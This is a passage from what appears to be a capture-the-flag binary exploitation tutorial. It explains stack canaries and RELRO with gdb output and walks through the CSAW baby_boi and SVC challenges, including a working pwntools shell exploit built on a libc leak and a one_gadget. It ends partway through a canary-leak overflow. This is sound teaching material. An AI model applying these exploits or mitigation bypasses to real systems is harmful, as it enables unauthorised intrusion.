[*] Trying canary: 0xd4cb2200
[*] Trying canary: 0xd5cb2200
next byte is: 0xd5
[*] The canary is: 0xd5cb2200
[*] Switching to interactive mode

FEED ME!
ATE 30303030303030303030303030303030...
$ w
 01:49:06 up  4:22,  1 user,  load average: 1.47, 1.31, 1.31
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               21:26   ?xdm?  26:56   0.01s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-
session --session=ubuntu
$ ls
core  exploit.py  feedme  readme.md
```

Just like that, we popped a shell!

Stack Canary

The Stack Canary is another mitigation designed to protect against things like stack based buffer overflows. The general idea is, a random value is placed at the bottom of the stack frame, which is below the stack variables where we actually have input. If had a buffer overflow to overwrite the saved return address, this value on the stack would be overwritten. Then before the return address is executed, it checks to see if that value is the same one it set. If it isn't then it knows that there is a memory corruption bug happening and terminates the program. Also the name comes from the use of canaries in a mine. If the canary stops singing, get out before you die from gas poisoning.

To understand this better, let's look at a binary compiled with a stack canary:

```
gef➤  disas main
Dump of assembler code for function main:
   0x0000000000401132 <+0>:    push   rbp
   0x0000000000401133 <+1>:    mov    rbp,rsp
   0x0000000000401136 <+4>:    sub    rsp,0x20
   0x000000000040113a <+8>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000401143 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401147 <+21>:    xor    eax,eax
   0x0000000000401149 <+23>:    mov    rdx,QWORD PTR [rip+0x2ef0]        #
0x404040 <stdin@@GLIBC_2.2.5>
   0x0000000000401150 <+30>:    lea    rax,[rbp-0x12]
   0x0000000000401154 <+34>:    mov    esi,0x9
   0x0000000000401159 <+39>:    mov    rdi,rax
   0x000000000040115c <+42>:    call   0x401040 <fgets@plt>
   0x0000000000401161 <+47>:    mov    DWORD PTR [rbp-0x18],0x5
   0x0000000000401168 <+54>:    nop
   0x0000000000401169 <+55>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040116d <+59>:    xor    rax,QWORD PTR fs:0x28
   0x0000000000401176 <+68>:    je     0x40117d <main+75>
   0x0000000000401178 <+70>:    call   0x401030 <__stack_chk_fail@plt>
   0x000000000040117d <+75>:    leave
   0x000000000040117e <+76>:    ret
End of assembler dump.
```

Now let's look at a binary compiled from the same source code, but without a stack canary:

```
gef➤  disas main
Dump of assembler code for function main:
   0x0000000000401122 <+0>:    push   rbp
   0x0000000000401123 <+1>:    mov    rbp,rsp
   0x0000000000401126 <+4>:    sub    rsp,0x10
   0x000000000040112a <+8>:    mov    rdx,QWORD PTR [rip+0x2eff]        #
0x404030 <stdin@@GLIBC_2.2.5>
   0x0000000000401131 <+15>:    lea    rax,[rbp-0xe]
   0x0000000000401135 <+19>:    mov    esi,0x9
   0x000000000040113a <+24>:    mov    rdi,rax
   0x000000000040113d <+27>:    call   0x401030 <fgets@plt>
   0x0000000000401142 <+32>:    mov    DWORD PTR [rbp-0x4],0x5
   0x0000000000401149 <+39>:    nop
   0x000000000040114a <+40>:    leave
   0x000000000040114b <+41>:    ret
End of assembler dump.
```

We can see a few differences between the code, like when it checks the stack canary:

```
0x0000000000401169 <+55>:    mov    rax,QWORD PTR [rbp-0x8]
0x000000000040116d <+59>:    xor    rax,QWORD PTR fs:0x28
0x0000000000401176 <+68>:    je     0x40117d <main+75>
0x0000000000401178 <+70>:    call   0x401030 <__stack_chk_fail@plt>
```

Let's actually take a look at the stack canary in memory:

```
Breakpoint 1, 0x0000000000401168 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffdfde  →  0x7fffffffe0d0000a
$rbx   : 0x0
$rcx   : 0xfbad2288
$rdx   : 0x00007fffffffdfde  →  0x7fffffffe0d0000a
$rsp   : 0x00007fffffffdfd0  →  0x0000000000401180  →  <__libc_csu_init+0> push
r15
$rbp   : 0x00007fffffffdff0  →  0x0000000000401180  →  <__libc_csu_init+0> push
r15
$rsi   : 0x00007ffff7fb2590  →  0x0000000000000000
$rdi   : 0x0
$rip   : 0x0000000000401168  →  <main+54> nop
$r8    : 0x00007ffff7fb2580  →  0x0000000000000000
$r9    : 0x00007ffff7fb7500  →  0x00007ffff7fb7500  →  [loop detected]
$r10   : 0x00007ffff7fafca0  →  0x0000000000405660  →  0x0000000000000000
$r11   : 0x246
$r12   : 0x0000000000401050  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe0d0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdfd0│+0x0000: 0x0000000000401180  →  <__libc_csu_init+0> push r15
← $rsp
0x00007fffffffdfd8│+0x0008: 0x000a000000000005
0x00007fffffffdfe0│+0x0010: 0x00007fffffffe0d0  →  0x0000000000000001
0x00007fffffffdfe8│+0x0018: 0x92105577ff879300
0x00007fffffffdff0│+0x0020: 0x0000000000401180  →  <__libc_csu_init+0> push r15
← $rbp
0x00007fffffffdff8│+0x0028: 0x00007ffff7df1b6b  →  <__libc_start_main+235> mov
edi, eax
0x00007fffffffe000│+0x0030: 0x0000000000000000
0x00007fffffffe008│+0x0038: 0x00007fffffffe0d8  →  0x00007fffffffe3f7  →
"/tmp/tryc"
────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401159 <main+39>        mov    rdi, rax
     0x40115c <main+42>        call   0x401040 <fgets@plt>
     0x401161 <main+47>        mov    DWORD PTR [rbp-0x18], 0x5
 →   0x401168 <main+54>        nop
     0x401169 <main+55>        mov    rax, QWORD PTR [rbp-0x8]
     0x40116d <main+59>        xor    rax, QWORD PTR fs:0x28
     0x401176 <main+68>        je     0x40117d <main+75>
     0x401178 <main+70>        call   0x401030 <__stack_chk_fail@plt>
     0x40117d <main+75>        leave
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "tryc", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401168 → main()
```

```
gef➤  x/g $rbp-0x8
0x7fffffffdfe8:    0x92105577ff879300
```

Here we can see is the stack canary. We can tell that it is the stack canary from several different things. Firstly it is the value being used when it is doing the stack canary check. Also it is around the spot on the stack it should be. Also it matches the pattern of a stack canary. While they are random they do fit a general pattern.

For `x64` elfs, the pattern is an `0x8` byte qword, where the first seven bytes are random and the last byte is a null byte.

For `x86` elfs, the pattern is a `0x4` byte dword, where the first three bytes are random and the last byte is a null byte.

Let's change the value of the canary and see what happens!

```
gef➤  x/g $rbp-0x8
0x7fffffffdfe8:    0x92105577ff879300
gef➤  set *0x7fffffffdfe8 = 0x0
gef➤  x/g $rbp-0x8
0x7fffffffdfe8:    0x9210557700000000
gef➤  c
Continuing.
*** stack smashing detected ***: <unknown> terminated
```

As we can see, it saw that the value of the canary changed and it terminated the process.

So what's the bypass? If we need to overwrite the stack canary, then we just overwrite it with itself. For instance:

```
code:x86:64 ────
     0x401159 <main+39>        mov    rdi, rax
     0x40115c <main+42>        call   0x401040 <fgets@plt>
     0x401161 <main+47>        mov    DWORD PTR [rbp-0x18], 0x5
 →   0x401168 <main+54>        nop
     0x401169 <main+55>        mov    rax, QWORD PTR [rbp-0x8]
     0x40116d <main+59>        xor    rax, QWORD PTR fs:0x28
     0x401176 <main+68>        je     0x40117d <main+75>
     0x401178 <main+70>        call   0x401030 <__stack_chk_fail@plt>
     0x40117d <main+75>        leave
────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "tryc", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x401168 → main()
────────────────────────────────────────────────────────────────────
gef➤  x/g $rbp-0x8
0x7fffffffdfe8:    0x62c8c8d34092fd00
gef➤  set *0x7fffffffdfe8 = 0x4092fd00
gef➤  x/g $rbp-0x8
0x7fffffffdfe8:    0x62c8c8d34092fd00
gef➤  c
Continuing.
[Inferior 1 (process 7134) exited normally]
```

Here we just wrote the value of the canary to itself, and it passed the check. Of course this requires us to know the value of the stack canary. This can be accomplished via leaking the canary (which we will see later). Also in some cases you might be able to do something like brute forcing that value.

Relro

Relro (Read only Relocation) affects the memory permissions similar to NX. The difference is whereas with NX it makes the stack executable, RELRO makes certain things read only so we can't write to them. The most common way I've seen this be an obstacle is preventing us from doing a `got` table overwrite, which will be covered later. The `got` table holds addresses for libc functions so that the binary knows what the addresses are and can call them. Let's see what the memory permissions look like for a `got` table entry for a binary with and without relro.

With relro:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
  0x555555557fd0 - 0x555555557fe8  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"
```

Without relro:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
  0x404018 - 0x404030  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"
```

For the binary without relro, we can see that the `got` entry address for `fgets` is `0x404018`. Looking at the memory mappings we see that it falls between `0x404000` and `0x405000`, which has the permissions `rw`, meaning we can read and write to it. For the binary with relro, we see that the `got` table address for the run of the binary (pie is enabled so this address will change) is `0x555555557fd0`. In that binary's memory mapping it falls between `0x0000555555557000` and `0x0000555555558000`, which has the memory permission `r`, meaning that we can only read from it.

So what's the bypass? The typical bypass I use is to just don't write to memory regions that relro causes to be read only, and find a different way to get code execution.

Csaw 2019 Babyboi

Let's take a look at the binary, libc file, and source code. For this challenge we do get a copy of it:

```
$    file baby_boi
baby_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=e1ff55dce2efc89340b86a666bba5e7ff2b37f62, not stripped
$    pwn checksec baby_boi
[*] '/Hackery/pod/modules/8-bof_dynamic/csaw19_babyboi/baby_boi'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$    ./baby_boi
Hello!
Here I am: 0x7f995049c830
15935728
$    cat baby_boi.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv[]) {
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  char buf[32];
  printf("Hello!\n");
  printf("Here I am: %p\n", printf);
  gets(buf);
}
```

So we can see that the binary just prompts us for text. Looking at the source code, we see that it prints the libc address for `printf`. After that it calls `gets` on a fixed sized buffer, which gives us a buffer overflow. We can see that the `libc` version is `libc-2.27.so` . Also the only binary protection we see is NX.

Exploitation

So to exploit this, we will use the buffer overflow. We will call a oneshot gadget, which is a single ROP gadget in the libc that will call `execve("/bin/sh")` given the right conditions. We can find this using the `one_gadget` utility (https://github.com/david942j/one_gadget):

```
$    one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

So leveraging the libc infoleak with the `printf` statement to the libc `printf` (and that we know which libc version it is), we know the address space of the libc. For which onegadget to pick, I typically just do trial and error to see what conditions will work. You can actually check when it is called to see what conditions will be met however.

Exploit

Putting it all together, we have the following exploit. This was ran on `Ubuntu 18.04` :

```
from pwn import *

# Establish the target
target = process('./baby_boi', env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF('libc-2.27.so')
#gdb.attach(target)

print target.recvuntil("ere I am: ")

# Scan in the infoleak
leak = target.recvline()
leak = leak.strip("\n")

base = int(leak, 16) - libc.symbols['printf']

print "wooo:" + hex(base)

# Calculate oneshot gadget
oneshot = base + 0x4f322

payload = ""
payload += "0"*0x28         # Offset to oneshot gadget
payload += p64(oneshot)     # Oneshot gadget

# Send the payload
target.sendline(payload)

target.interactive()
```

When we run the exploit:

```
$    python exploit.py
[+] Starting local process './baby_boi': pid 12693
[*] '/home/guyinatuxedo/Desktop/babyboi/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Hello!
Here I am:
wooo:0x7fe0eb22e000
[*] Switching to interactive mode
$ w
 21:29:32 up 57 min,  1 user,  load average: 0.17, 0.26, 0.15
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               16Sep19 ?xdm?  47.39s  0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-
session --session=ubuntu
$ ls
baby_boi  baby_boi.c  exploit.py  libc-2.27.so    readme.md
```

Csaw 2017 Quasl SVC

This was solved on Ubuntu 16.04 with libc version `libc-2.23.so`.

Let's take a look at the binary:

```
$ file svc
svc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=8585d22b995d2e1ab76bd520f7826370df71e0b6, stripped
$ pwn checksec svc
[*] '/Hackery/course/content/ctf_course/modules/bof_dynamic/csawquals17_svc/svc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ ./svc
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>1
-------------------------
[*]SCV IS ALWAYS HUNGRY.....
-------------------------
[*]GIVE HIM SOME FOOD.......
-------------------------
>>15935728
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>2
-------------------------
[*]REVIEW THE FOOD...........
-------------------------
[*]PLEASE TREAT HIM WELL.....
-------------------------
15935728
�k8
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>3
[*]BYE ~ TIME TO MINE MIENRALS...
```

So we can see that it is a `64` bit dynamically linked binary, with a stack canary and a non-executable stack. When we run it it gives us three options. We can input data, print the data, and exit. Looking through the various functions in Ghidra, we can see that the `FUN_00400a9` function holds the menu we are prompted with (also we can see that the code was written in C++):

```
undefined8 menu(void)

{
  long lVar1;
  bool bVar2;
  basic_ostream *this;
  long in_FS_OFFSET;
  int menuChoice;
  char input [168];
  long stackCanary;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  menuChoice = 0;
  bVar2 = true;
  while (bVar2) {
    this = operator<<<std--char_traits<char>>((basic_ostream
*)cout,"-------------------------");
    operator<<((basic_ostream<char,std--char_traits<char>>
*)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]SCV GOOD
TO GO,SIR....");
    operator<<((basic_ostream<char,std--char_traits<char>>
*)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream
*)cout,"-------------------------");
    operator<<((basic_ostream<char,std--char_traits<char>>
*)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"1.FEED
SCV....");
    operator<<((basic_ostream<char,std--char_traits<char>>
*)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"2.REVIEW
THE FOOD....");
    operator<<((basic_ostream<char,std--char_traits<char>>
*)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"3.MINE
MINERALS....");
    operator<<((basic_ostream<char,std--char_traits<char>>
*)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream
*)cout,"-------------------------");
    operator<<((basic_ostream<char,std--char_traits<char>>
*)this,endl<char,std--char_traits<char>>)
```

```
    ;
    operator<<<std--char_traits<char>>((basic_ostream *)cout,">>");
    operator>>((basic_istream<char,std--char_traits<char>> *)cin,&menuChoice);
    if (menuChoice == 2) {
      this = operator<<<std--char_traits<char>>((basic_ostream
*)cout,"------------------------");
      operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                 endl<char,std--char_traits<char>>);
      this = operator<<<std--char_traits<char>>
                       ((basic_ostream *)cout,"[*]REVIEW THE FOOD..........");
      operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                 endl<char,std--char_traits<char>>);
      this = operator<<<std--char_traits<char>>((basic_ostream
*)cout,"------------------------");
      operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                 endl<char,std--char_traits<char>>);
      this = operator<<<std--char_traits<char>>
                       ((basic_ostream *)cout,"[*]PLEASE TREAT HIM WELL.....");
      operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                 endl<char,std--char_traits<char>>);
      this = operator<<<std--char_traits<char>>((basic_ostream
*)cout,"------------------------");
      operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                 endl<char,std--char_traits<char>>);
      puts(input);
    }
    else {
      if (menuChoice == 3) {
        bVar2 = false;
        this = operator<<<std--char_traits<char>>
                         ((basic_ostream *)cout,"[*]BYE ~ TIME TO MINE
MIENRALS...");
        operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                   endl<char,std--char_traits<char>>);
      }
      else {
        if (menuChoice == 1) {
          this = operator<<<std--char_traits<char>>
                           ((basic_ostream *)cout,"------------------------");
          operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                     endl<char,std--char_traits<char>>);
          this = operator<<<std--char_traits<char>>
                           ((basic_ostream *)cout,"[*]SCV IS ALWAYS
HUNGRY.....");
          operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                     endl<char,std--char_traits<char>>);
          this = operator<<<std--char_traits<char>>
                           ((basic_ostream *)cout,"------------------------");
          operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                     endl<char,std--char_traits<char>>);
          this = operator<<<std--char_traits<char>>
                           ((basic_ostream *)cout,"[*]GIVE HIM SOME
FOOD.......");
```

```
          operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                     endl<char,std--char_traits<char>>);
          this = operator<<<std--char_traits<char>>
                                ((basic_ostream *)cout,"-------------------------");
          operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                     endl<char,std--char_traits<char>>);
          operator<<<std--char_traits<char>>((basic_ostream *)cout,">>");
          read(0,input,0xf8);
        }
        else {
          this = operator<<<std--char_traits<char>>
                                ((basic_ostream *)cout,"[*]DO NOT HURT MY SCV....");
          operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                     endl<char,std--char_traits<char>>);
        }
      }
    }
  }
  if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

Looking through it, we see that this menu runs in a while true loop:

```
  while (bVar2) {
    this = operator<<<std--char_traits<char>>((basic_ostream
*)cout,"-------------------------");
```

For each iteration of the loop, we see that it prompts us for a menu option:

```
    operator<<<std--char_traits<char>>((basic_ostream *)cout,">>");
    operator>>((basic_istream<char,std--char_traits<char>> *)cin,&menuChoice);
    if (menuChoice == 2) {
```

For the option to scan in data (option `1`) we see that it uses `read` to scan in `0xf8` bytes of data into `input`. Since `input` is a `168` (`0xa8`) byte char array, this option gives us a buffer overflow. The extra space is more than enough to overwrite the return address:

```
          operator<<<std--char_traits<char>>((basic_ostream *)cout,">>");
          read(0,input,0xf8);
```

Looking at the contents of the memory after we feed it the string `15935728`, we can see there are `0xb8` bytes between the start of our input and the return address (this breakpoint is for right after the read call):

```
Breakpoint 1, 0x0000000000400cd3 in ?? ()
gef➤  i f
Stack level 0, frame at 0x7fffffffded0:
 rip = 0x400cd3; saved rip = 0x7ffff767cb97
 called by frame at 0x7fffffffdf90
 Arglist at 0x7fffffffddf8, args:
 Locals at 0x7fffffffddf8, Previous frame's sp is 0x7fffffffded0
 Saved registers:
  rbp at 0x7fffffffdec0, rip at 0x7fffffffdec8
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffde10 - 0x7fffffffde18  →   "15935728[...]"
```

A bit of python math:

```
>>> hex(0x7fffffffdec8 - 0x7fffffffde10)
'0xb8'
```

For the option `2` to show the input, we see that it just prints `input` with the `puts` function:

```
      puts(input);
```

Finally with option `3`, we see it essentially just exits the loop and returns by setting `bVar2` to false. We will need to send this option to get the code to return, so we can get code execution with the buffer overflow:

```
    else {
      if (menuChoice == 3) {
        bVar2 = false;
        this = operator<<<std--char_traits<char>>
                         ((basic_ostream *)cout,"[*]BYE ~ TIME TO MINE
MIENRALS...");
        operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                   endl<char,std--char_traits<char>>);
      }
```

So we have a buffer overflow bug that we can use to get the return address. However the first mitigation we will need to overcome is the stack canary. The stack canary is an eight byte random integer (four bytes for `x86` systems) that is placed between the variables and the return address. In order to overwrite the return address, we have to overwrite the stack canary. However before the return address is executed, it checks to see if the stack canary has the same value. If it doesn't the program immediately ends.

In order to bypass this, we will need to leak the stack canary. That way we can just overwrite the stack canary with itself, so it will pass the stack canary check and execute the return address (which we will overwrite). We will leak it with the `puts` call, which will print data that it is given a pointer to until it reaches a null byte. With stack canaries the least significant byte is a null byte. So we will just send enough data just to overflow the least significant byte of the stack canary, then print our input. This will print all of our data and the highest seven eight bytes of the stack canary, and since we the lowest byte will always be a null byte, we know the full stack canary. Then we can just execute the buffer overflow again and write over the stack canary with itself in order to defeat this mitigation.

In order to leak the canary we will need to send `0xa9` bytes worth of data. The first `0xa8` will be to fill up the `input` char array, and the last byte will be to overwrite the least signifcant byte of the stack canary. Let's take a look at the memory for a bit more detail:

```
gef➤  x/24g 0x7ffe80d6b4e0
0x7ffe80d6b4e0: 0x3832373533393531  0x00007fa279a33628
0x7ffe80d6b4f0: 0x0000000000400930  0x00007fa279686489
0x7ffe80d6b500: 0x00007ffe80d6b540  0x0000000000000001
0x7ffe80d6b510: 0x00007ffe80d6b540  0x0000000000601df8
0x7ffe80d6b520: 0x00007ffe80d6b688  0x0000000000400e1b
0x7ffe80d6b530: 0x0000000000000000  0x000000010000ffff
0x7ffe80d6b540: 0x00007ffe80d6b550  0x0000000000400e31
0x7ffe80d6b550: 0x0000000000000002  0x0000000000400e8d
0x7ffe80d6b560: 0x00007fa279dcd9a0  0x0000000000000000
0x7ffe80d6b570: 0x0000000000400e40  0x00000000004009a0
0x7ffe80d6b580: 0x00007ffe80d6b670  0x05345bfe35ee0700
0x7ffe80d6b590: 0x0000000000400e40  0x00007fa279664b97
```

here we can see our input `15935728` starts at `0x7ffe80d6b4e0`. `0xa8` bytes down the stack we can see the stack canary `0x05345bfe35ee0700` at `0x7ffe80d6b588` followed by the saved base pointer and return addess. After the overflow this is what the memory looks like:

```
gef➤  x/24g 0x7ffe80d6b4e0
0x7ffe80d6b4e0: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b4f0: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b500: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b510: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b520: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b530: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b540: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b550: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b560: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b570: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b580: 0x3030303030303030  0x05345bfe35ee0730
0x7ffe80d6b590: 0x0000000000400e40  0x00007fa279664b97
```

With that, we can leak the stack canary by printing our input.

